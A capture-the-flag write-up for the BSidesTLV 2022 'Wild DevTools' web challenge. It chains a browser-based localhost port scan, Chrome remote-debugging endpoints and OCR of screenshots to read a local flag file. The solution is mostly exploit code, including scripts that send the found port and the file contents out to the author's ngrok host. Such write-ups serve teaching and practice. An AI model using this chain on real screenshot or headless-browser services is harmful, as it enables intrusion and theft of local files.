👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Challenge
  • Solution
  • Leaking the Debugging Port
  • Reading the Response
  • Getting the Flag

Was this helpful?

  1. 2022
  2. BSidesTLV 2022 CTF

Wild DevTools

Browser-based Port Scan + Puppeteer Remote Debugging

PreviousSmugglerNextTropical API

Last updated 2 years ago

Was this helpful?

Challenge

Web, 10 Solves

One of our hackers stole the source code for a top-secret screenshot service. However, he wasn't able to get the flag.

He kept saying it was impossible. That made me think of you, think you can do it?

Solution

The goal was to read the flag file, which is written to disk when the server starts up.

async function main() {
    const port = 8080;
    const server = express();

    // write flag to disk
    fs.writeFileSync('/tmp/flag.txt', process.env.FLAG);
    
    ...

This was essentially a "screenshotter" service that allows us to enter arbitrary URLs to be rendered by a Chromium instance.

The validateScreenshotRequest middleware makes sure that we specify a HTTP(S) URL, so the file:// protocol will not work here.

function validateScreenshotRequest(req, res, next) {
    if (!req.query.url || typeof req.query.url !== 'string') {
        return res.status(400).json({ error: 'url is required' });
    }

    try {
        let url = new URL(req.query.url);
        if (url.protocol !== 'http:' && url.protocol !== 'https:') {
            return res.status(400).json({ error: 'invalid protocol' });
        }
    } catch {
        return res.status(400).json({ error: 'invalid URL' });
    }

    next();
}

Of particular interest, however, is the way that the browser instance is launched.

async function getBrowserWithTimeout(seconds) {
    log('launching browser...');
    let browser = null;

    for (let i = 0; i < 5; i++) {
        if (browser !== null) {
            continue;
        }
        try {
            browser = await puppeteer.launch({
                timeout: 5000,
                headless: true,
                dumpio: true,
                ignoreDefaultArgs: [
                    '--disable-popup-blocking'
                ],
                args: [
                    '--no-sandbox',
                    '--ignore-certificate-errors',
                    '--disable-setuid-sandbox',
                    '--disable-accelerated-2d-canvas',
                    '--disable-gpu',
                    '--proxy-server=smokescreen:4750',
                    `--remote-debugging-port=${getRandomPort()}`
                ]
            });
        } catch (err) {
            browser = null;
            log(err);
        }
    }
    
    ...
export default function () {
    let port = 9000 + Math.floor(Math.random() * 2000);
    return port;
}

Leaking the Debugging Port

We had a range of 2000 possible ports to scan, but the browser will only live for 30 seconds before it was closed.

setTimeout(async () => {
    try {
        await browser.close();
    } catch (err) {
        log('browser.close() failed:', err.message);
    }
}, seconds * 1000);

If we could leak the debugging port, then we could communicate with the Chromium instance to open a new page with the file:///tmp/flag URL, and read its contents.

There are many ways to do this, but my first reaction was to do it through a common XS-Leaks technique. The idea is that if the port is closed, trying to load it as a resource would yield a Connection Refused error, triggering the onerror event handler. Otherwise, the onload event handler would be fired instead on successful loading.

<html>
    <body>
        <script>
            (async () => {
                const leak = async (url) => {
                    return new Promise((r) => {
                        let s = document.createElement('script')
                        s.src = url
                        s.onload = (e) => {
                            e.target.remove()
                            return r(0)
                        }
                        s.onerror = (e) => {
                            e.target.remove()
                            return r(1)
                        }
                        document.head.appendChild(s)
                    })
                }
                
                for (let i = 0; i < 2000; i++) {
                    let port = 9000 + i;
                    let res = await leak(`http://localhost:${port}/`)
                    
                    if (res == 0) {
                        console.log(`Port ${port} is open`)
                        try {
                            fetch(`http://986d-42-60-68-174.ngrok.io/leak?port=${port}`)
                        }
                        catch {}
                        break
                    }
                }
            })();
        </script>
    </body>
</html>

This was sufficient to leak the debugging port within 5-10 seconds. Once we get the port number, we need to modify our second-stage payload with the updated port number, so I wrote the port number to a port.txt file to be read by another script later on.

from flask import Flask, request, send_file

app = Flask(__name__)


@app.route('/<path:path>')
def send(path):
    return send_file(path)


@app.route('/exfil', methods=['POST'])
def receive():
    print(request.data)
    return request.data


@app.route('/leak')
def leak():
    port = request.args.get('port')
    open("port.txt", "w").write(port)
    return "OK"


if __name__ == '__main__':
    app.run('0.0.0.0', 5000)

Reading the Response

Now that we know the port, we could fetch http://127.0.0.1:<PORT>/json/new?file:///tmp/flag.txt to tell the browser to open a new page with the file:///tmp/flag.txt URL.

The response would then contain a webSocketDebuggerUrl that allows us to send commands to the browser through a WebSocket connection.

Unfortunately, due to the same-origin policy, we can't directly read the response through the Fetch API. But by loading an iframe, the response is shown in the screenshotter service as an image. We can add the following to our script above, to load the iframe and open a second-stage exploit after 10 seconds to communicate with the WebSocket URL.

...

let ifr = document.createElement('iframe')
ifr.src = `http://localhost:${port}/json/new?file:///tmp/flag.txt`

ifr.height = 1000
ifr.width = 1000
document.body.appendChild(ifr)

setTimeout(() => {
    window.open("http://986d-42-60-68-174.ngrok.io/exploit.html")
}, 10000)

...

The result of the screenshotter service would look something like this. We need to interpret the result and modify our second-stage exploit before the 10 seconds is up and the browser opens it.

import requests
import pytesseract
from PIL import Image
from io import BytesIO
import re
import time
import os

while True:

    r = requests.get("https://wild-devtools.ctf.bsidestlv.com/screenshot")

    puzzle = r.headers['X-Puzzle']

    print(f"Puzzle: {puzzle}")

    # get pow by running pow.go
    pow = os.popen("go run pow/pow.go {}".format(puzzle)).read().strip()
    print(f"POW: {pow}")

    r = requests.get(
        "http://wild-devtools.ctf.bsidestlv.com/screenshot?url=http://986d-42-60-68-174.ngrok.io/leak.html",
        headers={
            'X-Puzzle': puzzle,
            'X-Proof-of-Work': pow
        }
    )
    img = r.content

    # OCR
    with open("screenshot.png", "wb") as f:
        f.write(img)
        
    text = pytesseract.image_to_string(Image.open(BytesIO(img)))
    print(text.splitlines()[5])

    wsUrl = re.search(r"/devtools/page/(.*)\"", text.splitlines()[5]).group(1).replace(" ", "").replace("S", "5").replace("O", "0").replace("I", "1").replace("L", "1").replace("T", "7")
    print(wsUrl)

    expl = open("exploit.tpl", "r").read().replace("PORTHERE", open("port.txt", "r").read()).replace("URLHERE", wsUrl)
    with open("exploit.html", "w") as f:
        f.write(expl)

Getting the Flag

After we have done all that, the second-stage payload is opened. The Runtime.evaluate method is used to execute JavaScript on the file:///tmp/flag.txt page, and exfiltrate its contents.

<body>
    <script>
        window.ws = new WebSocket('ws://127.0.0.1:PORTHERE/devtools/page/URLHERE')
        ws.onerror = (e => { console.log(e) })
        ws.onmessage = (e => {
            console.log(e.data);
        })

        ws.onopen = () => {
            ws.send(JSON.stringify({
                id: 1,
                method: "Runtime.evaluate",
                params: {
                    expression: "fetch('http://986d-42-60-68-174.ngrok.io/exfil', {method:'POST', body:document.body.innerHTML})"
                }
            }))

        }
    </script>
</body>

A remote debugging port is exposed. This normally allows us to send commands to the browser through the . In this case, however, we can see that the debugging port is randomised.

I used to perform OCR on the result and extract the WebSocket URL. Due to the quality of the image, this was only fully accurate about 1 in 5 times. The script will also update our second-stage payload with the correct port and WebSocket URL.

DevTools protocol
PyTesseract
3MB
wild-devtools-source.zip
archive